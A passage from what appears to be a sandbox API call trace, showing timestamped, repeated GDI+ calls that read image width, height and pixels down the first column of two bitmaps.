(image=0x4c27818, height=0x563e130) returned 0x0 [0057.249] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=187, color=0x563e140) returned 0x0 [0057.249] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.249] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.249] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=188, color=0x563e140) returned 0x0 [0057.249] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.249] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.249] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=189, color=0x563e140) returned 0x0 [0057.249] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.249] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.249] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=190, color=0x563e140) returned 0x0 [0057.249] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.249] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.249] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=191, color=0x563e140) returned 0x0 [0057.249] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.249] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.249] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=192, color=0x563e140) returned 0x0 [0057.249] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.249] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.249] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=193, color=0x563e140) returned 0x0 [0057.249] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.249] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.249] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=194, color=0x563e140) returned 0x0 [0057.249] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.249] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.249] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=195, color=0x563e140) returned 0x0 [0057.249] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.250] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.250] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=196, color=0x563e140) returned 0x0 [0057.250] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.250] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.250] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=197, color=0x563e140) returned 0x0 [0057.250] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.250] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.250] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=198, color=0x563e140) returned 0x0 [0057.250] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.250] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.250] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=199, color=0x563e140) returned 0x0 [0057.250] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.250] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.250] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=200, color=0x563e140) returned 0x0 [0057.250] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.250] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.250] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=201, color=0x563e140) returned 0x0 [0057.250] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.250] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.250] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=202, color=0x563e140) returned 0x0 [0057.250] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.250] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.250] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=203, color=0x563e140) returned 0x0 [0057.250] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.250] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.250] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=204, color=0x563e140) returned 0x0 [0057.250] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.251] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.251] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=205, color=0x563e140) returned 0x0 [0057.251] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.251] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.251] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=206, color=0x563e140) returned 0x0 [0057.251] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.251] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.251] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=207, color=0x563e140) returned 0x0 [0057.251] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.251] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.251] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=208, color=0x563e140) returned 0x0 [0057.251] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.251] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.251] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=209, color=0x563e140) returned 0x0 [0057.251] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.251] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.251] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=210, color=0x563e140) returned 0x0 [0057.251] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.251] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.251] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=211, color=0x563e140) returned 0x0 [0057.251] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.251] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.251] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=212, color=0x563e140) returned 0x0 [0057.251] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.251] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.251] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=213, color=0x563e140) returned 0x0 [0057.251] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.252] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.252] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=214, color=0x563e140) returned 0x0 [0057.252] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.252] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.252] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=215, color=0x563e140) returned 0x0 [0057.252] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.252] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.252] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=216, color=0x563e140) returned 0x0 [0057.252] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.252] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.252] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=217, color=0x563e140) returned 0x0 [0057.252] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.252] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.252] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=218, color=0x563e140) returned 0x0 [0057.252] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.252] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.252] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=219, color=0x563e140) returned 0x0 [0057.252] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.252] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.252] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=220, color=0x563e140) returned 0x0 [0057.252] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.252] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.252] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=221, color=0x563e140) returned 0x0 [0057.252] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.252] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.252] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=222, color=0x563e140) returned 0x0 [0057.252] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.253] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.253] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=223, color=0x563e140) returned 0x0 [0057.253] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.253] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.253] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=224, color=0x563e140) returned 0x0 [0057.253] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.253] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.253] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=225, color=0x563e140) returned 0x0 [0057.253] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.253] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.253] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=226, color=0x563e140) returned 0x0 [0057.253] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.253] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.253] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=227, color=0x563e140) returned 0x0 [0057.253] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.253] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.253] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=228, color=0x563e140) returned 0x0 [0057.253] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.253] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.253] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=229, color=0x563e140) returned 0x0 [0057.253] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.253] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.253] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=230, color=0x563e140) returned 0x0 [0057.253] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.253] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.253] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=231, color=0x563e140) returned 0x0 [0057.253] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.254] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.254] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=232, color=0x563e140) returned 0x0 [0057.254] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.254] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.254] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=233, color=0x563e140) returned 0x0 [0057.254] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.254] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.254] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=234, color=0x563e140) returned 0x0 [0057.254] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.254] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.254] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=235, color=0x563e140) returned 0x0 [0057.254] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.254] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.254] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=236, color=0x563e140) returned 0x0 [0057.254] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.254] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.254] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=237, color=0x563e140) returned 0x0 [0057.254] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.254] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.254] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=238, color=0x563e140) returned 0x0 [0057.254] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.254] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.254] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=239, color=0x563e140) returned 0x0 [0057.254] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.254] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.254] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=240, color=0x563e140) returned 0x0 [0057.254] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.255] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.255] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=241, color=0x563e140) returned 0x0 [0057.255] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.255] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.255] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=242, color=0x563e140) returned 0x0 [0057.255] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.255] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.255] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=243, color=0x563e140) returned 0x0 [0057.255] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.255] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.255] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=244, color=0x563e140) returned 0x0 [0057.255] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.255] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.255] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=245, color=0x563e140) returned 0x0 [0057.255] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.255] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.255] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=246, color=0x563e140) returned 0x0 [0057.255] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.255] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.255] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=247, color=0x563e140) returned 0x0 [0057.255] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=248, color=0x563e140) returned 0x0 [0057.415] GdipGetImageWidth (image=0x4c34fd0, width=0x563e154) returned 0x0 [0057.415] GdipGetImageHeight (image=0x4c34fd0, height=0x563e154) returned 0x0 [0057.415] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.415] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.415] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=0, color=0x563e140) returned 0x0 [0057.415] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.415] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.415] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=1, color=0x563e140) returned 0x0 [0057.416] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.416] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.416] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=2, color=0x563e140) returned 0x0 [0057.416] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.416] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.416] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=3, color=0x563e140) returned 0x0 [0057.416] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.416] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.416] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=4, color=0x563e140) returned 0x0 [0057.416] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.416] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.416] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=5, color=0x563e140) returned 0x0 [0057.416] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.416] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.416] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=6, color=0x563e140) returned 0x0 [0057.416] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.416] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.416] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=7, color=0x563e140) returned 0x0 [0057.416] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.416] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.416] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=8, color=0x563e140) returned 0x0 [0057.416] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.417] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.417] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=9, color=0x563e140) returned 0x0 [0057.417] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.417] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.417] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=10, color=0x563e140) returned 0x0 [0057.417] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.417] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.417] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=11, color=0x563e140) returned 0x0 [0057.417] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.417] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.417] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=12, color=0x563e140) returned 0x0 [0057.417] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.417] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.417] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=13, color=0x563e140) returned 0x0 [0057.417] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.417] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.417] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=14, color=0x563e140) returned 0x0 [0057.417] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.417] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.417] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=15, color=0x563e140) returned 0x0 [0057.417] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.417] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.418] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=16, color=0x563e140) returned 0x0 [0057.418] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.418] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.418] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=17, color=0x563e140) returned 0x0 [0057.418] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.418] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.418] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=18, color=0x563e140) returned 0x0 [0057.418] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.418] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.418] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=19, color=0x563e140) returned 0x0 [0057.418] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.418] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.418] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=20, color=0x563e140) returned 0x0 [0057.418] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.418] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.418] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=21, color=0x563e140) returned 0x0 [0057.418] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.418] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.418] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=22, color=0x563e140) returned 0x0 [0057.418] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.418] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.419] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=23, color=0x563e140) returned 0x0 [0057.419] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.419] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.419] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=24, color=0x563e140) returned 0x0 [0057.419] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.419] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.419] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=25, color=0x563e140) returned 0x0 [0057.419] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.419] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.419] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=26, color=0x563e140) returned 0x0 [0057.419] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.419] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.419] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=27, color=0x563e140) returned 0x0 [0057.419] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.419] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.419] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=28, color=0x563e140) returned 0x0 [0057.419] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.419] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.419] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=29, color=0x563e140) returned 0x0 [0057.419] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.419] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.419] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=30, color=0x563e140) returned 0x0 [0057.420] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.420] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.420] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=31, color=0x563e140) returned 0x0 [0057.420] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.420] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.420] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=32, color=0x563e140) returned 0x0 [0057.420] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.420] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.420] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=33, color=0x563e140) returned 0x0 [0057.420] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.420] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.420] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=34, color=0x563e140) returned 0x0 [0057.420] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.420] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.420] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=35, color=0x563e140) returned 0x0 [0057.420] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.420] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.420] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=36, color=0x563e140) returned 0x0 [0057.420] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.420] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.420] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=37, color=0x563e140) returned 0x0 [0057.420] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.421] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.421] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=38, color=0x563e140) returned 0x0 [0057.421] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.421] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.421] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=39, color=0x563e140) returned 0x0 [0057.421] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.421] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.421] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=40, color=0x563e140) returned 0x0 [0057.421] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.421] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.421] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=41, color=0x563e140) returned 0x0 [0057.421] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.421] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.421] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=42, color=0x563e140) returned 0x0 [0057.421] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.421] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.421] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=43, color=0x563e140) returned 0x0 [0057.421] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.421] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.421] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=44, color=0x563e140) returned 0x0 [0057.421] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.422] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.422] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=45, color=0x563e140) returned 0x0 [0057.422] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.422] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 